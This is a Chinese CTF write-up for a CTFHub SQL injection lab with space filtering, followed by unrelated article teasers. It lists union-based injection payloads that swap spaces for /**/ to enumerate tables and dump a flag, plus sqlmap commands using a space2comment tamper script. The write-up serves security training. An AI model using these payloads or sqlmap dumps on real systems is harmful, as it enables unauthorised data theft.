CTFHUB技能树之SQL——过滤空格

news2024/10/19 4:08:27

开启靶场,打开链接:

既然是过滤空格,绕过空格的方法:

用/**/或%0a替代空格


(1)判断注入点

1 and 1=1#

会显示hacker


1/**/and/**/1=1#

有回显


1/**/and/**/1=2#

无回显,说明是整数型注入


(2)判断字段数

1/**/order/**/by/**/2#

有回显


1/**/order/**/by/**/3#

无回显


(3)查看数据库位置

1/**/union/**/select/**/1,2#

看样子可能不在数据库中,老样子,改成-1/**/union/**/select/**/1,2#

回显成功


(4)爆数据库名

-1/**/union/**/select/**/1,database()#

得知数据库名是sqli


(5)爆表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'#

得知mksymzfdit表和news表


(6)爆列名

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='mksymzfdit'#

得知pttmgmuffp列


(7)爆字段内容(flag)

-1/**/union/**/select/**/1,group_concat(pttmgmuffp)/**/from/**/sqli.mksymzfdit#

成功得到flag:

ctfhub{b4ae90d2910e9ac6730f430c}


用sqlmap试试:

在sqlmap/tamper目录下有个space2comment.py脚本,可以将空格替换成/**/


python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" --dbs

(如果爆的速度有点慢就加上--threads=10)


python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" -D sqli --tables


python sqlmap.py -u "http://challenge-8e36042a0bc7f6e5.sandbox.ctfhub.com:10800/?id=1" --tamper "space2comment.py" -D sqli -T mksymzfdit --dump

成功得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2218214.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式C++中内存分配基本实现方法

大家好,今天主要给大家分享一下,如何使用计算机中的内存空间进行分配,观察具体现象。 第一:C语言动态空间分配方式 第二:C++中动态内存分配方法 new 可以自动计算数据类型的大小 与 类型的转换 malloc 只能手动进行。 2.new 可以在分配空间的时候初始化 malloc 不行。 第三…

python采集汽车之家数据

python采集汽车之家数据 一、寻找数据接口二、发送请求获取响应三、解析数据四、完整代码一、寻找数据接口 如下图所示,在汽车之家首页点击报价图标: 在下图中选择价位,例如选择15-20万: 打开浏览器开发者工具,刷新页面,找到数据接口。接下来,通过翻页寻找接口url的变…

uni-app uni.setTabBarBadge 不生效

‘text’属性,类型必须是字符串,而接口返回的是数值,没有注意到,所以怎么都不生效,也不会有报错!

渗透测试导论

渗透测试的定义和目的 渗透测试(Penetration Testing)是一项安全演习,网络安全专家尝试查找和利用计算机系统中的漏洞。 模拟攻击的目的是识别攻击者可以利用的系统防御中的薄弱环节。 这就像银行雇用别人假装盗匪,让他们试图闯…

day-68 使二进制数组全部等于 1 的最少操作次数 I

思路 关键:对同一个i至多操作一次,就可以做到最少的操作次数,且操作的顺序不重要,那么即可从左到右操作,结果一样的,遇到1不操作,遇到0则操作,用一个变量记录操作次数,最…

Go程序的一生——Go如何跑起来的?

​​​​​​​ 引入 我们从一个 Hello World 的例子开始: package mainimport "fmt"func main() {fmt.Println("hello world") }当我用我那价值 1800 元的 cherry 键盘潇洒地敲完上面的 hello world 代码时,保存在硬盘上的 hell…

青少年编程能力等级测评CPA C++一级试卷(1)

青少年编程能力等级测评CPA C一级试卷(1) 一、单项选择题(共20题,每题3.5分,共70分) CP1_1_1.在C中,下列变量名正确的是( )。 A.$123 B&#…

无人机之定高算法篇

一、无人机高度测量原理 无人机的高度测量通常依赖于多种传感器,其中主要包括: 气压计:通过测量大气压力的变化来确定高度。在大气中,随着高度的增加,气压会逐渐降低。无人机搭载的气压计会感知大气的压力变化&#…

当我们修复测试用例时,到底是修复的什么?

当我们运行了测试用例,发现其中一些测试用例未能通过。ok,这下要修复测试用例了!但是,到底需要修复哪些内容呢? 其实从用例被加载到最终执行的过程中,有很多因素可能导致测试失败: 在测试构建过…

C语言中的文件操作:从基础到深入底层原理

文件操作是几乎所有应用程序的重要组成部分,特别是在系统级编程中。C语言因其高效、灵活以及接近硬件的特点,成为了文件操作的理想选择。本文将全面深入地探讨C语言中的文件操作,从文件系统的概念到具体的文件操作函数,再到底层的…

生成器和迭代器

迭代器 定义 迭代器是一个实现了选代协议的对象,它可以让我们遍历一个容器中的所有元素,而不需要知道容器的内部结构,迭代器可以被用于遍历列表、元组、字典、集合等容器类型。 工作原理 __iter__():方法返回迭代器对象本身,有…

《15分钟轻松学Go》教程目录

在AI快速发展的时代,学习Go语言依然很有用。Go语言擅长处理高并发任务,也就是说可以同时处理很多请求,这对于需要快速响应的AI服务非常重要。另外,Go适合用来处理和传输大量数据,非常适合机器学习模型的数据预处理。 …

leetcode动态规划(一)-理论基础

本节主要参考:代码随想录 题目分类 动态规划释义 动态规划,英文:Dynamic Programming,简称DP,如果某一问题有很多重叠子问题,使用动态规划是最有效的。 动态规划中每一个状态一定是由上一个状态推导出来…

WinX86内核02-驱动程序

把昨天的程序改用 c++ 编译,改成 .cpp ,发现编译报错 原因是名称粉碎,因此可以直接 extern “C”声明一下这个函数 或者用 头文件(推荐) 因为 在头文件中 可以把 头文件一起包含进去 #pragma once extern "C" { #include <Ntddk.h> ​ /*驱动入口函…

一文搞懂模型倍率怎么计算的,以及模型分组倍率原理!

&#x1f4cd; 已知&#xff1a; ① 输入token&#xff1a;又名 提示、Input token 数 ② 输出token&#xff1a;又名 补全、Output token 数 &#x1f4cd; 基准价格【最初 gpt3.5 的价格&#xff0c;所以倍率越大&#xff0c;越聪明越贵&#xff0c;倍率越小越省钱越笨】 on…

秋招面试题记录

嵌入式软件开发 网上搜集的题目 1.Static关键词的作用&#xff1f; static 关键字有三个主要作用&#xff1a; 局部变量&#xff1a;在函数内部&#xff0c;static 局部变量只初始化一次&#xff0c;且在函数调用结束后仍然保留其值。全局变量/函数&#xff1a;在文件内部&a…

产品自问:前台和中后台

产品自问&#xff1a;前台和中后台 叮嘟&#xff01;这里是小啊呜的学习课程资料整理。好记性不如烂笔头&#xff0c;今天也是努力进步的一天。一起加油进阶吧&#xff01; 前台和中后台通常根据以下几个方面进行区分&#xff1a; 一、功能定位 前台&#xff1a;主要面向外部…

redo文件误删除后通过逻辑备份进行恢复

问题描述 开发同事让在一个服务器上查找下先前库的备份文件是否存在&#xff0c;如果存在进行下恢复。翻了服务器发现备份文件存在&#xff0c;多愁了一眼竟翻到了该备份文件于2024.6.17日恢复过的日志&#xff0c;赶紧和开发沟通说2024.6.17号已经恢复过了为啥还要恢复&#x…

【Linux】Anaconda下载安装配置Pytorch安装配置(保姆级)

目录 Anaconda下载 Anaconda安装 conda init conda --v Conda 配置 conda 环境创建 conda info --envs conda list Pytorch安装配置 检验安装情况 检验是否可以使用GPU Anaconda下载 可以通过两种途径完成Anaconda安装包的下载 途径一&#xff1a;本地windows下…

了解静态存储方式和动态存储方式的区别(超详细讲解)快来看

本篇通过一个代码题来考察静态变量和动态变量的区别&#xff0c;主要考察静态变量的值。 在前2章我们讲了变量可以分为全局变量和局部变量&#xff0c;而我们的变量&#xff0c;它的存储又有两种不同的方式:静态存储方式与动态存储方式。 自动局部变量:auto 静态局部变量:stati…